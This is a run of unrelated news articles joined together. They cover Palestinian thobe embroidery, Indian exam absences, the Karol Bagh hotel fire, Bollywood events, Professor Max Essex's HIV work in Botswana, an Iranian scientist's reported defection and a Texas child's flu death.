In the early days of Israels establishment, it was associated with calls for Israels destruction and deadly attacks. Armed struggle later gave way to calls for the establishment of a Palestinian state in the West Bank, Gaza Strip and east Jerusalem  lands captured by Israel in 1967. Peace talks have been interrupted by spasms of violence, and for the past decade, a deep freeze in negotiations.

Today, the internationally recognized autonomy government of the Palestinian Authority, which administers parts of the West Bank, continues to seek a two-state solution with Israel. The Hamas militant group, which seized the Gaza Strip in 2007, still seeks Israels destruction, while many Palestinians, particularly the younger generation, now talk of a single binational state with Israel in which they would enjoy full equal rights.

Along the way, the thobe has grown in popularity and evolved, with dress designs reflecting historys many dramas.

During the first Palestinian intifada, or uprising, in the 1980s, the thobe bloomed with guns, doves and flowers. When Israeli soldiers confiscated Palestinian flags at protests, women wove forbidden national maps and colours into their dresses, according to the Palestinian museum exhibit.

Now, Palestinian women of all social classes wear thobes to assert national pride at weddings and special occasions.

Its a way of defending our national identity, Saca said.

The care, toil, and skill that go into making a thobe prevent the garment from becoming everyday streetwear  or protest-wear. But cheaper, mass-produced versions of the dress have sprouted up.

A woman typically has one thobe to wear on occasions throughout her life  its very expensive and impractical, said Maysoun Abed, director of a thobe exhibit in the West Bank city of Al-Bireh, near Ramallah. But demand for the thobe still runs high as a way of expressing patriotism.

Although the robe shares potent patriotic subtext and roots in peasant life with the black-and-white checkered kaffiyeh  made famous by Palestinian leader Yasser Arafat  the thobe is infused with nostalgic, almost mythical associations.

Embroidery evokes the timeless connection of Palestinians to the land, Dedman said. Its a soft image, referencing a deep past with which people have positive associations.

Young Palestinian women, especially those in the diaspora, are adapting the ancestral dresses to modern tastes and trends. Girls are asking for shorter and less embroidered versions, said Rajaa Ghazawneh, a thobe designer in the West Bank town of al-Bireh.

Natalie Tahhan, a designer based in east Jerusalem, produces capes from digital prints that replicate traditional embroidery stitches, connecting tradition with what is new and stylish.

Tlaibs now-viral Palestinian thobe, which the Michigan Democrat called an unapologetic display of the fabric of the people in this country and said it evoked memories of her mothers West Bank village, rekindled enthusiasm worldwide about the dress.

Rashida has become a model for Palestinian women everywhere  a strong woman proud of her national identity who can reach high, said Saca.

Tahhan agreed, saying that Tlaibs thobe spread a beautiful picture of Palestine, when usually the media only show the wars.

For Palestinian women born abroad, and refugees barred from visiting their ancestral homes in what is now Israel, thobes are a tangible connection to the land and a way of keeping their culture alive.

These dresses are our link between the past and future, Saca said.

Associated Press writer Mohammed Daraghmeh in Ramallah, West Bank, contributed to this report.

___________________

Follow more stories on Facebook and TwitterStrict measures put in place to check mass copying resulted in 2.72 lakh candidates skipping their paper on day 3 of the UP Board examinations on Tuesday, said officials.

So far, 3,12,844 candidates have skipped the High School and Intermediate exam this year, as per the data released by UP Madhyamik Shiksha Parishad that conducts the exams.

On Tuesday, 2,72,452 students did not turn up to write their exam. This is the highest number of students who skipped the paper on a single day this year. Prior to this, 40,392 students had skipped the UP Board exam on its second day on Friday. In all, 3,12,844 students stayed away from the Board exam this year, said Neena Srivastava, secretary, UP Board.

This number may further go up as compilation of figures from 75 districts is still on, she said.

She added, There could be multiple reasons for such a large number of students staying away from Board exams. This is due to tough measures to check copying and to keep fake students away from appearing in the examinations. Along with CCTV cams, we have introduced voice recorder system to put an end to use of unfair means in the exam.

On Tuesday, 51 copycats, including 41 Class 10 examinees and 10 from Class 12, were held. Of these, 11 were high school girls. So far, 54 copycats were held in three days of the exams.

Last year, a record 10,44,619 students  nearly 15% of all those who had registered  had skipped the UP Board exams. Later, deputy chief minister Dinesh Sharma claimed that 75% of students, who stayed away from exams, were from other states.

High school students appeared for Hindi and commerce papers while Intermediate candidates wrote elementary Hindi exam on Tuesday.

As many as 32,08,451 students registered for high school exam and 25,27,664 registered for Intermediate exams this year.

Deputy chief minister Dinesh Sharma visited many examination centres in Lucknow. He was accompanied by director, secondary education, VK Pandey.

Like last year, the Special Task Force (STF) had been tasked with keeping the copying mafia away from the exam centres. Chief minister Yogi Adityanath, in a video conference on Saturday, had asked all district magistrates and district inspectors of schools to remain vigilant against copying mafia.The number of students applying for admission to medical courses abroad is high, and rising steeply. A response to a recent Right to Information (or RTI) application stated that the Medical Council of India (MCI) has issued 3,386 more eligibility certificates to foreign medical aspirants in 2018 than in 2017, a rise of about 24%. The year before, the number had nearly doubled.

The mandate of getting an eligibility certificate to study medicine abroad came into force only from January 2014 and ever since the numbers have been rising sharply every year.

One set of students applying abroad are those aiming for top colleges in countries like the UK, but a chunk of aspirants are those who could not manage a seat in a government medical college. Private medical colleges are sometimes so expensive that students prefer to study in China, Russia and more recently in countries like Nepal and Bangladesh, says Dr Jayashree Mehta, former president of the Medical Council of India.

These students usually pick institutes and countries recognised by India so that, on their return, they can clear an eligibility test and begin practising. A lot of the colleges that students opt for in Asia have ties with Indian institutions. Hence, these places also prepare the students for the eligibility test back home, says Dr KK Agarwal, president of Heart Care Foundation of India and former president of the Indian Medical Association.

MED STUDENTS HEADED OVERSEAS Here are the number of certificates of eligibility granted by the Medical Council of India to Indian students wishing to study medicine abroad March 1, 2015 to March 31, 2016: 3,398 2016- 2017: 8,737 2017- 2018: 14,118 January 2018 to December 2018: 17,504

For Dr Abdul Mateen, who studied medicine in the Philippines in 2011, it was just a cheaper option than a private medical school in India. Also, the spectrum of disease there, unlike in Russia, is very similar to the spectrum of disease in India, he says.

Agarwal points out that, as the number of medical colleges in neighbouring countries such as Nepal and Bangladesh grows, the number of students applying to study medicine there will likely rise too.

With the kind of technology and connectivity we have now, theres little difference between moving cities within India and moving to a neighbouring country like Bangladesh to study, Dr Agarwal says. Moreover, there are employment opportunities in these countries too.

For students studying in the growing number of IB schools, applying abroad is often the simpler and surer path.

To be eligible to study medicine in India, a student needs to have a combination of physics, chemistry and biology. IB students cannot take more than two science subjects, except with special permission, says Kimberly Wright Dixit, CEO of study-abroad consultancy Red Pen.

A student must apply to the Board saying theyd like to study an extra Science subject, or do a non-regular diploma, if they want to qualify for Indias medical entrance exam. For many students, this is a daunting, time-consuming and uncertain prospect; its easier to just apply abroad, Dixit says.

Raashi Shah, a Class 12 student at the Dhirubhai Ambani International School in Mumbai, for instance, has applied only to medical colleges in the UK. The special permission from the Board can take a lot of time. Then you have to study an extra subject, and you may end up not qualifying anyway, because you didnt score well enough, she says.

Given the steep competition and limited seats, many students feel it is better to focus on the board results, whether SSC, ICSE, IB or other, because to study abroad, your Board results count for a lot, Dixit adds.

For the rest, Dr Mehta points out that the only way to arrest the trend is to have more affordable medical colleges in India. That way students from all sections of society can study medicine, she says.There is the USA, and then there is the rest of the world. Especially when it comes to climate policy and environmental protection. Last week, US president Donald Trump tweeted about the severe cold wave that has gripped much of North America. What the hell is going on with Global Warming? Please come back fast, we need you! he tweeted, after commenting on the plummeting temperatures in the US Midwest. When the president of the sole superpower in the world jokes about one of the biggest crises in human history and implies that climate change and global warming are not real, he not only ridicules those coping with the very real tragedies caused by rising sea levels and worsening extreme weather events, but also weakens global political will in curbing emissions and creating consensus for future action.

Climate change and the attending warming that has followed does not necessarily mean that there will be no winter. While scientists are always wary of linking climate change directly to extreme weather events, there is enough evidence to suggest that severe cold weather events  such as the polar vortex that has currently engulfed North America  can be caused by anthropogenic (human-made) climate change. According to a research paper published in the journal, Nature Communications, in March 2018, As the Arctic transitions from a relatively cold state to a warmer one, the frequency of severe winter weather in mid-latitudes increases through the transition. The paper goes on to explain that during mid to late winter, when the Arctic warming trend is greatest, severe winter weather becomes more frequent in the United States. There is enough consensus among scientists that climate change is real; and that rising sea levels, melting polar ice caps, and increasing extreme weather events will lead to massive humanitarian crises the world over.

Whatever the political ideology of those in power may be, it is irresponsible for them to be facetious about looming disasters. The need of the hour is to rethink the way that the climate problem has been dealt with so far. The American presidents frivolity on such a serious issue is detrimental to climate mitigation and adaptation projects around the world. It sends a signal to large corporations and big polluters that the concerted political will that is required to alter the business as usual approach is currently absent. Farmers in developing countries are struggling to deal with changing weather patterns, island nations are in the process of negotiating resettlement plans for citizens, and extreme weather events continue to create calamities. But once again, as Rome burns, Nero fiddles.The most famous incident of a political leader stopping another from proceeding through his or her state was that of the then Bihar chief minister, Lalu Prasad Yadav, arresting Bharatiya Janata Party (BJP) leader, LK Advani, in 1990 as the latters rath (chariot) made its way from Somnath to Ayodhya. That was a political move, but also one motivated by a desire to uphold the law. Still, the rath rolled on eventually, bringing with it fateful consequences for India. This practice has caught on in recent months, ahead of what promises to be an interesting election this summer. On Tuesday, Samajwadi Party (SP) leader, Akhilesh Yadav, was prevented from travelling to Allahabad to address the Allahabad University Students Union. Predictably, the move launched SP workers into a frenzy of outrage. Charges flew thick and fast; Akhilesh said he was manhandled; Uttar Pradesh chief minister, Yogi Adityanath, accused him of spreading anarchy.

This intolerance is seen across parties. West Bengal chief minister Mamata Banerjee has stopped several BJP leaders from participating in events in her state. BJP president, Amit Shah, and central vice-president, Shivraj Singh Chauhan, were both at the receiving end of her fury when they were not allowed to land their helicopters in the state and had to proceed through a circuitous road route to address workers. This is anti-democratic. Unfortunately, it is also catching. And thats a worrying trend, especially in the light of what happened in Uttar Pradesh on Tuesday. The BJP rules 16 states directly or in an alliance. Imagine what would happen if, in the run up to the Lok Sabha elections, leaders from opposition parties are not allowed to campaign freely in these states. It is no ones argument that a leader who could polarise the electorate and threaten public peace and harmony be allowed to do just that, but addressing party workers across India is the right of every political leader, including Adityanath, who has emerged as one of the BJPs most popular campaigners.

The Election Commission has its task cut out, and the higher judiciary, too, should be prepared to react with alacrity when they are approached by parties seeking what can only be described as a level playing field. It might be too much to expect political parties to rise above their own baser instincts and allow the democratic process to proceed, but demand this we must. Indias voters have the right to listen to competing pitches, rosters of achievements, and critiques of performance before making up their minds.

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If you have any questions or need further assistance, please call our customer service team at 814-368-3173 or email nfinnerty@oleantimesherald.com.A significant delay in alerting the fire department, inflammable material used in the building, complicated locking systems of the windows and the staffs inability to fight the flames resulted in a large number of casualties in the blaze at Hotel Arpit Palace in Karol Bagh, the Delhi Fire Services said.

Atul Garg, chief fire officer (Delhi Fire Services), said by the time the hotel staff called for help, it was already very late. The fire broke out between 3 and 3.30 am. For a long time, no one got to know of the blaze. When the hotel staffers finally woke up, they took the matter into their own hands instead of alerting us, Garg said.

By the time we reached the spot, the fire had intensified. People were trapped inside and some were already dead, said Garg.

Such was the intensity of the blaze by the time the fire department arrived that a firefighter, Subhash Arya, fell unconscious after inhaling smoke and received superficial skin burns on his hand as he entered the building.

The fire department lost time as they had to take a longer route to reach the hotel from the Prasad Nagar fire station, just less than two kilometres away. Several cuts in the divider on Pusa Road were recently sealed because of which the firefighters had to take a longer route, said Balan Mani, a local resident.

Garg said it led to a delay of three-four minutes, but made a lot of difference between life and death.

Read | Arpit Palace hotel fire: Screams woke up guests, charred bodies on every floor

Among the fire tenders was a manually operated skylift and readying it took another three-four minutes, Garg said. It wasnt high enough to reach the upper floors, rendering it ineffective in rescuing many victims. By the time another skylift joined the operations, people were already jumping off the building.

Sunil Chaudhary, deputy chief fire officer, said the presence of wooden panels in the walls and the floor of the corridors fuelled the fire and led to dense smoke.

The rooms did not really suffer much damage. It was mainly the corridors and the stairs because of which the passage was blocked, said Chaudhary.

Many survivors said the dense smoke forced them to lock themselves inside the rooms. But the rooms had no ventilation. Smoke seeped in. Guests were falling unconscious because of the heat and smoke, Chaudhary said.

Since it is winter, the guests had kept the windows locked from inside. The real problem began when they tried to open them. The latches are complicated. They need to be pressed inward for the window to open. But the panicked guests werent aware of the system and found themselves trapped inside, said Chaudhary.

Also Read | Delhi hotel that caught fire was booked by wedding party, child among dead

The fire broke out on the first floor but spread to the upper floors of the hotel that has a residential building on one side and another hotel at its rear. Many guests chose to run upstairs in the hope of finding an exit but found themselves trapped between the burning corridors and the blazing fibre sheet over the rooftop terrace.

Some people managed to open the top floor windows. Two of them jumped. One man jumped from the rooftop. We urged them not to jump but they had panicked, said Rajender Singh, a local resident.

Two men landed on the ground and died instantly. One woman from Myanmar landed on the plastic shade of a shop on the ground floor. That served as a cushion but left her with an injured spine, said Singh.

Atul Garg said the hotel employees tried to use the in-house firefighting equipment but had failed. Either the staffers were not trained to use the equipment or they were non-functional, Garg said.

The authorities said the stairs were not wide enough to allow more than two people from running out together. That led to a stampede and people fell on each other. There were no lights inside the building, which made it more difficult, said Dileep Trivedi, a guest from Gujarat who jumped out of the first floor window.

There was an emergency exit but it did not help anyone as the guests said they were unaware about its presence or location. Police said it was blocked with stored goods. Forget the emergency exit, there was no security guard or hotel staff to help us in those moments, said

While a chef was among those killed, Chaudhary alleged most of the staffers escaped instead of helping the guests.Only 3.4% of the beds available in the 33 Delhi government hospitals have ventilator facilities against the minimum requirement of 10% in every state-run medical centre, the Aam Aadmi Party (AAP) government has informed the Delhi High Court. In an affidavit filed in the court, the state government submitted that it has 400 ventilator beds available in the government hospitals.

A bench of Chief Justice Rajendra Menon and Justice V Kameswar Rao was also told that 52 out of the 400 ventilator beds are not functional and efforts are being made to get them repaired. It also added that the procurement of 18 ventilators is under process.

The governments affidavit comes in response to a direction by the high court. Earlier this month, the court had directed the Delhi government to file the status report with regards to the number of beds and other facilities on the government website. The order had come after a letter was written to the chief justice of the high court by advocate Ashok Agarwal, highlighting the death of a toddler due to the lack of ventilator support.

Advocate Agarwal had informed the court that three-year-old Farhaan was struggling for his life as he was given a manual ventilator.

According to the affidavit, the minor died on February 10.

It is pertinent to mention that according to a Delhi Health Services (DHS) data of February 2019, there are a total of 10,059 beds in the 33 state-run hospitals. Out of these, only 348 beds have functional ventilators in the hospitals, which makes it just 3.45% against the minimum requirement of 10% .

The affidavit filed through advocate Satykam, additional standing counsel of Delhi government, stated that state programme officer of Delhi State Health Mission has been requested by a letter written on January 31 to prepare a web portal for online bed/ventilator availability information in public hospitals and efforts are being made to make it functional within two months.

Regarding availability of real time information about vacant beds in Delhi government hospitals, the report said it may not be feasible to implement it in the initial phase wherein hospitals would upload about the availability of beds every morning on the portal.

The reply also stated that authorities have been requested to complete the repair, condemnation and procurement of the ventilators at the earliest.

The matter will be heard on February 13.Half an hour before 13 members of an extended family hailing from Kerala could check out of the Karol Baghs Arpit Palace hotel, the fatal fire cut short their tour of a lifetime. On Wednesday,only 10 members of the family will return to their homes in Kochi and Ernakulam in Kerala.

The remaining three were among 17 people who were killed in a major fire at the Hotel Arpit Palace on Tuesday morning.

Fire department officials said the fire started in a room on the first floor due to a suspected short circuit and spread through the building.

Sixteen members of this family from Kerala had arrived in Ghaziabad last Thursday to attend a relatives wedding the next day. But the trip was not just about the wedding. Three members had returned home after the wedding, but the rest of them had plans to tour Delhi and parts of north India before returning home on February 15.

We had returned from Mathura on Monday and my elderly mother was tired and had spent the entire day sleeping, said PC Som Shekharan who lost his mother Nailini Amma, 84, a sister Jayshree, 53, and a brother Vidyasagar, 59 to the horrific blaze.

The family had booked four rooms in the hotel as part of a package through a tour operator. The hotel was to only serve as their night stay.

They were to leave for Haridwar early Tuesday morning, and from there they had planned to go Amritsar.

Surender Kumar, a retired businessman and one of the members of the family, said power failure occurred soon after he woke up at 4am. Within minutes, I heard people screaming, said Kumar.

Shekharan too heard his sister screaming and opened the door of his room, but was forced to shut it immediately. There was very dense smoke outside. I wanted to rush and save my mother and sister who were screaming, but it just wasnt possible, said Shekharan, an assistant manager with LIC.

Firefighters rescued Shekharan and nine others of his family by smashing the windows of the hotel.

Read | Arpit Palace hotel fire: Screams woke up guests, charred bodies on every floor

Uma Nair, the brides mother, said her daughter and her son-inlaw havent been informed about the tragedy.

They broke caste barriers to marry each other and are currently in the Maldives. We do not know how to break the news to them, said Nair.

Eight tourists from Myanmar who were on a pilgrimage were also staying at the hotel. They had visited Nepal, Bihar and Uttar Pradesh and had checked into the Karol Bagh hotel on Monday.

They were so excited about the pilgrimage that they had brought along a professional photographer for the trip. The photographer and two women were killed in the fire while another member of the group jumped from the window to save herself. She has hurt her spine, said Gyandeep, a tour operator, who was assisting the group in India.

A chef from the hotel, 30-year-old Tara Chand, had also jumped from the roof but could not survive. Hailing from Uttarakhand, Chand is survived by a wife and four children, the youngest of who is 18 months old.

There were at least 10 staffers sleeping on the terrace. I am angry that they all escaped without caring to wake up my brother, said Chands brother, Khilaaf, who also works in a Delhi hotel.The weekend may just be a couple of days away but Bollywood stars are all about working hard right now. Stars like Kareena Kapoor Khan, Ranveer Singh and others were seen out and about as they travelled around the country to promote their films or out to their favourite restaurants to grab a bite.

Actor Kareena Kapoor Khan was spotted at her favourite restaurant in Mumbai, Yauatcha, on Wednesday afternoon. She was seen in a white hoodie and a fancy bag on her shoulder. She was earlier spotted with her friend Amrita Arora at the gym. Kareenas son Taimur was also spotted by the photographers as he took a ride on a mans shoulders.

Actor Shahid Kapoors wife Mira Rajput was seen at a fundraiser. She wore a white suit with a yellow dupatta and clicked pictures with a group of children. Sisters Khushi Kapoor and Janhvi Kapoor were also caught on camera. Janhvi smiled for the cameras as she got into her car. She was seen in a black t-shirt and blue denims. Khushi was seen in a white t-shirt and black sweatpants.

Actors Ranveer Singh and Alia Bhatt were spotted at the Mumbai airport as they returned to the city from Delhi. They were in the capital to promote their upcoming film, Gully Boy. Alia was seen in a yellow dress with a blue denim jacket. Ranveer was seen in khaki sweats.

Also seen at the airport was actor Akshay Kumar with his author wife Twinkle Khanna. Actor Raveena Tandon was also seen at the airport. See their pics:

Mira Rajput at a charity event. (Varinder Chawla)

Kartik Aaryan poses with photographers at an awards show. (Varinder Chawla)

Alia Bhatt with Ranveer Singh, Twinkle Khanna with Akshay Kumar and Raveena Tandon at the airport. (Varinder Chawla)

Kareena Kapoor out for lunch and her son Taimur playing with his caretakers. (Varinder Chawla)

Janhvi and Khushi Kapoor spotted in Mumbai. (Varinder Chawla)

Follow @htshowbiz for moreIt was a starry evening of glitz and glamour and as several Bollywood celebrities including Deepika Padukone, Sonam Kapoor, Janhvi Kapoor, Vicky Kaushal and Ayushmann Khurrana appeared in their stylish best for the recently held Filmfare Glamour and Style Awards.

While husband Ranveer Singh continues to dominate the fashion scene with his quirky appearances for the Gully Boy promotions, Deepika walked the red carpet at the event and ruled it with her confidence. The Piku actor sizzled in a dramatic pink gown and was seen bonding with Vidya Balan on the red carpet. Deepika was at her candid best on stage as she tried weightlifting with her trophy in hand.

Watch: Sonam, Deepika and Janhvi dazzle at Filmfare Glamour & Style Awards

But it was Sonam Kapoor who stole the spotlight by walking the red carpet in a black gown complete with a veil. The actor was last seen in Ek Ladki Ko Dekha Toh Aisa Laga which received good response from the critics but failed to get the cash counters ringing. Her cousin and Dhadak actor Janhvi Kapoor was no less in raising the style stakes as she attended the awards in a figure-flaunting gown.

Sonam Kapoor, Janhvi Kapoor and Deepika Padukone at the event. (Varinder Chawla)

Deepika Padukone greets Vidya Balan at the event. (Varinder Chawla)

Hate Story 2 actor Surveen Chawla, too, drew attention as she happily posed with her baby bump in a flowing green gown. Among other Bollywood actors spotted at the event were Gold actor Mouni Roy, Manikarnika actor Ankita Lokhande, Loveyatri actor Warina Hussain, Karisma Kapoor, Kajol, Kartik Aaryan, Darshan Kumar, Sumeet Vyas, Ali Fazal and many more.

Surveen Chawla at the event. (Varinder Chawla)

A lot of candid moments were captured on camera as actor Sunny Leone was seen giving final touches to Daniel Webers formals. Rumoured couple Kim Sharma and Harshvardhan Rane and newlyweds Prateik Babbar and wife Sanya Sagar also walked the red carpet together at the event.

Sunny Leone and Daniel Weber, Kim Sharma and Harshvardhan Rane and Prateik Babbar with wife at the event. (Varinder Chawla)

Also read: Gully Boy celeb review: Fast & Furious Michelle Rodriguez, Bollywood calls it beautiful, among best Hindi films ever

Meanwhile, Sonakshi Sinha and Huma Qureshi stood out of the crowd as they made a style statement in glittery suits.

Diana Penty, Sonakshi Sinha, Karisma Kapoor at the event. (Varinder Chawla)

Ayushmann Khurrana, Richa Chadha, Aparshakti Khurana, Sayami Kher and Preity Zinta at the event. (Varinder Chawla)

Pooja Hegde, Diljit Dosanjh, Ishaan Khattar and Radhika Madan at the event. (Varinder Chawla)

Kajol, Elli Avram, Sophie Choudry and Shahid Kapoor at the event. (Varinder Chawla)

Vidya Balan, Bipasha Basu, Gurmeet Choudhary with wife Debina at the event. (Varinder Chawla)

Rekha at the event. (Varinder Chawla)

Kartik Aaryan, Dharshan Kumar, Sumeet Vyas and Ali Fazal at the event. (Varinder Chawla)

Urvashi Rautela at the event. (Varinder Chawla)

Kapil Sharma, Akshara Haasan, Huma Qureshi at the event. (Varinder Chawla)

Shilpa Shetty, Vicky Kaushal, Sunny Singh, Ankita Lokhande, Mouni Roy at the event. (Varinder Chawla)

Follow @htshowbiz for moreTwinkle Khanna on Monday shared a new picture of husband Akshay Kumar, and also offered an insight into the sort of discussions they have over breakfast.

Alongside a picture of Akshay wearing a black turtleneck, Twinkle wrote, A tip for Indian men:A black turtleneck can make most of you seem exponentially smarter- Just dont ask the woman sitting on the other side of your granola what exponentially means. Also it doesnt help if you call the other person Maha Pakau when they give you the definition.

A tip for Indian men:A black turtleneck can make most of you seem exponentially smarter-Just dont ask the woman sitting on the other side of your granola what exponentially means.Also it doesnt help if you call the other personMaha Pakauwhen they give you the definition. pic.twitter.com/OLMG06IZ9W  Twinkle Khanna (@mrsfunnybones) February 13, 2019

Twinkle is known for her quirky sense of humour, has written three books and is the author of a Sunday column, Mrs Funnybones. Her most recent release was a collection of short stories, Pyjamas are Forgiving. Akshay wrote about the book on Twitter. Pyjamas are forgiving in nature, its jeans that really know how to hold a grudge. This and more such witty writing in the wifes latest book, #PyjamasAreForgiving. Released today, grab your copies now!@mrsfunnybones #CheerleaderForLife, hed written.

On being the best-selling Indian female writer of 2018, Twinkle told Hindustan Times, When you are writing, what you are doing is basically playing out the arguments in your head, it is primarily for yourself. It is only after you are done, that the reader and various apprehensions begin to make an appearance. The fact that Pyjamas Are Forgiving has done so well just makes all the long hours chained to the desk and, I suppose, the inherent solitude that accompanies the writing process, a little more worthwhile.

Also read: Twinkle Khanna launches new book as Akshay Kumar, Ranveer Singh cheer her on. See pics

Twinkle and Akshay often share updates from their lives on social media, including their many vacations and their children. Twinkle was recently spotted book shopping with daughter Nitara, whom the celebrity couple have tried to keep away from media glare.

Akshay released the teasers of his upcoming film, Kesari recently. He will also be seen opposite Kareena Kapoor Khan and Diljit Dosanjh in Good News.

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During the early 1990s HIV/AIDS was a monster sweeping across the entire African continent killing adults, youth, children as well as infants. While the whole continent was in despair, American health researcher, Professor Max Essex arrived as a messiah to save the continent from the plague.

Professor Essex, the founder and Chair of Botswana Havard Aids Institute Partnership (BHP) came to Botswana in 1996 and established the HIV research and training partnership between Botswana and United States of America. He partnered with the Ministry of Health to form the BHP. In 1986 Professor Essex was awarded the Lasker Award for research that directly led to the discovery of HIV as the cause of AIDS. His research demonstrated transmission of HIV by blood and the first evidence of its transmission through heterosexual sex. He and his colleagues identified the envelope protein of HIV (gp120) which is still used to this day for HIV diagnosis.

Speaking during Prof. Essexs farewell ceremony last Thursday at Masa Hotel in Gaborones opulent Central Business District - Former President Dr. Festus Mogae highlighted that the African continent was seriously affected by HIV in those early days and many people were dying every single day. Botswana was seriously affected by HIV/AIDS and I went around looking for help and Professor Essex and his collaborators from Harvard came to rescue our country, he said. He said through Essexs research many lives were saved and many Batswana have been trained in the field. We now have our children and our own scientists and doctors in this field. I want to thank Essex for his support to our country because what he has done to us has saved the whole world. I acknowledge all his team because our people has survived from HIV/AIDS, said Mogae.

According to the Global Information and Education on HIV and AIDS report, Botswana is still one of the countries most affected by HIV in the world, despite its provision of universal free antiretroviral treatment to all people living with HIV.

Statistics recorded in 2017 indicates that 380 000 people are living with HIV. At 21.9 percent Botswana has the third highest HIV prevalence in the world, after Lesotho and eSwatini. In 2005, prevalence stood at 25.4 percent suggesting some signs of improvement over the last decade, reads the report.

Available figures also indicate that young women aged between 15 and 24 who have HIV in Botswana outnumber young men with HIV by more than two-to-one. The national incidence rate is 1.5 per cent, or more than 15,000 new infections per year.

Speaking at the same function BHP official, Rodger Shapiro said BHP has now become more than just the premier HIV research site in Africa as many young scientists have been and are being trained. We have become part of the larger community in Botswana and we have made lifelong friendships with that community and with each other. Substantial and long-lasting capacity has been built in doing high quality, ethical science that is dedicated to improving the health of the people of Botswana and elsewhere. All of this too was part of Professor Maxs plan, said Shapiro.

Botswana government has been in partnership with BHP since establishment in 1996 and the institution has been leading the research on HIV/AIDS advancing Botswana to become a world leader on the HIV/AIDS disease management. BHP has also undertaken relevant country specific and regional HIV/AIDS research training and capacity building, which is important in providing evidence-based policy and programming. Dr. Shapiro highlighted that in 1999 when HIV epidemic was out of control and there was no Anti Retroviral Therapy (ART), Professor Essex sent him and another researcher to Botswana. He said BHP was just very small with a team of just five researchers at the time.

He said Professor Essex was in this partnership with the government of Botswana for the right reasons. Yes he was a scientist and asking scientific questions. But he also knew to go straight to Botswana leaders and listen to them. Every time he was here, he asked President Mogae and President Masire before him: how can we help? What can we do to help? That was how BHP started and it remains at the heart of BHPs mission today, said Dr. Shapiro. For his part Minister of Health and Wellness Dr Alfred Madigele said Professor Essex has been a strong advocate for capacity building and has mentored many Batswana scientists who trained under his direct supervision to attain their PhDs and special laboratory skills through the forgatory grant and other support.

These scientists have contributed to the acceleration of the decentralisation of our Laboratory capacity and support of our strategic national laboratory plans. I am happy that the MoHW and BHP are committed to continuing the partnership and collaboration beyond his retirement, said Dr. Madigele.



BHP Excellence

Recently the institution commensurate increase in research output resulted in publications increasing from 24 during 2017 to 29 in the first six months of 2018 making a total of 53 peer reviewed publications during the reporting period.

The highlight of the scientific endeavour was the successful conclusion of the Botswana Combination Prevention Project whose Primary analysis results were presented at the IAS meeting held in Amsterdam from 23rd to 27th July 2018.

The study results revealed that community HIV incidence can be reduced by at least 30% by implementing a package of proven HIV intervention strategies. The other significant results were from the Tsepamo Study - an Infant Birth Outcomes study monitoring infant birth outcomes for mothers on antiretroviral during pregnancy.

Preliminary data analysis shows a signal of neural tube defects among infants born to mothers who become pregnant while on Dolutegravir or have Dolutegravir exposure during very early pregnancy. The study is ongoing and scheduled to end in May 2019.

The CTU grant continues to anchor BHP network related research. During this period there were 10 active CTU protocols, five of which have subsequently been closed. The current grant is in year 12 and is due for recompetition for another seven year cycle in 2020. The CTU offers a constant pipeline of research study opportunities from which BHP identifies relevant protocols for its context and region thus also enabling continued funding for BHP research activities.

CTU Protocols include among others, HPTN 081, a study to evaluate the safety and efficacy of VRC01 broadly neutralising monoclonal antibody in reducing acquisition of HIV-1 infection in women in sub-Saharan Africa; there is also protocols P1093 Phase I/II, Multi-Center, Open-Label Pharmacokinetic Safety, Tolerability and Antiviral Activity of GSK1349572, a Novel Integrase Inhibitor, in Combination Regimens in HIV-1 Infected Infants, Children and Adolescents.Others are IMPAACT P1026s Pharmacokinetic Properties of Antiretroviral Therapy during Pregnancy; IMPAACT 2010 a Phase III study to compare the virologic efficacy and safety of three antiretroviral regimens for HIV-1 infected pregnant women and their infants.

Training and Capacity Building

The BHP Research Laboratory is currently a hub of activities with five PhD, seven MPhil and 10 Research Fellows involved in various projects. There are also three Harvard University undergraduates one student under Forgarty and two students hosted through the malignancy programme who are doing a project entitled Validation of contrast enhanced microholography (CEM) device for lymphoma diagnosis. All these outputs are directly linked to the pioneering work of Prof Max Essex, who is now returning to his native country  USA, to concentrate on his passion  writing. Hopefuly, he will still find time to visit and check upon progress on what he started in Botswana.An Iraninan nuclear scientist was spirited away to the United States from Tehran by British secret services, Israel's Mossad and the CIA, British media reported on Sunday.

The U.S. ambassador to Germany says the European mechanism created to facilitate trade with Iran and avoid U.S. sanctions is counterproductive to Washington's efforts to force Tehran back to the negotiating table over its nuclear program and other matters.

The collaborative intelligence mission to smuggle the Iranian informant from Iran was reportedly hatched in October, and included a stop in Turkey en route to the United Kingdom where he was said to have traveled alongside an influx of Iranian migrants on an inflatable dinghy.

Iran suffered a heavy blow on the occasion of the 40th anniversary of revolution when the Mossad together with the Central Intelligence Agency and MI6 smuggled a defecting nuclear scientist from Iran to the United Kingdom, the British media reported.

First, the 47-year-old scientist, whose name has not been revealed, had to cover about 3,000 miles (4,828 kilometres) by land to the French coast near Calais after the Israeli secret service reportedly smuggled him out of his homeland.

"This wasn't without its challenges".

In Britain, the scientist was questioned about Iran's nuclear activities and then flown to the US. We couldn't simply fly him in.

The plan was hammered out in October 2018 after US President Donald Trump announced in early May Washington's withdrawal from the 2015 Iran nuclear deal, also known as the Joint Comprehensive Plan of Action (JCPOA). "Though unusual, it was determined infiltrating him into a group of fellow migrants preparing to cross the Channel by boat offered one solution", the source added.

He joined 11 other migrants on a dinghy that landed on the coast about 30 miles from Dover on December 31.

The plan focuses on areas not targeted by US sanctions and in the beginning centers "on the sectors most essential to the Iranian population - such as pharmaceutical, medical devices, and agri-food goods", foreign ministers from the three countries said.Uniontown, PA (15401)

Today

Mostly sunny. High 81F. Winds SSE at 5 to 10 mph..

Tonight

Generally clear skies. Low near 60F. Winds SE at 5 to 10 mph.Sonja Haller

The Herald-Mail

A Texas father is mad.

His 4-year-old daughter, Ashanti Grinage, developed a high fever on Jan. 29. She was taken to the emergency room where she was diagnosed with the flu and sent home with medicine, according to father Martel Grinage.

Two days later, she died. Grinage told Dallas news outlet WFAA that doctors failed to diagnose his daughter's persistent cough as pneumonia.

"On Tuesday when she went to the doctor, she had pneumonia, and we didn't know," he said.

The Garland, Texas, family said their 4-year-old didn't receive a flu shot. Her death came amid a flu season that hasn't seemed as urgent as last year's because there have been fewer deaths. Last year, flu complications claimed the lives of 180 children, according to the Centers for Disease Control.

But the flu is starting to hit some communities hard. Schools are closing and administrators are struggling to find enough substitutes to replace sick teachers.

MORE: Kids 6 months and older need a flu shot now, doctors warn

The family took Ashanti back to the emergency room on Thursday when she was experiencing heavy fatigue and coughing up mucus.

"The doctors told me when I got there that her lungs were full of pneumonia and that they did the best that they could do," Grinage said.

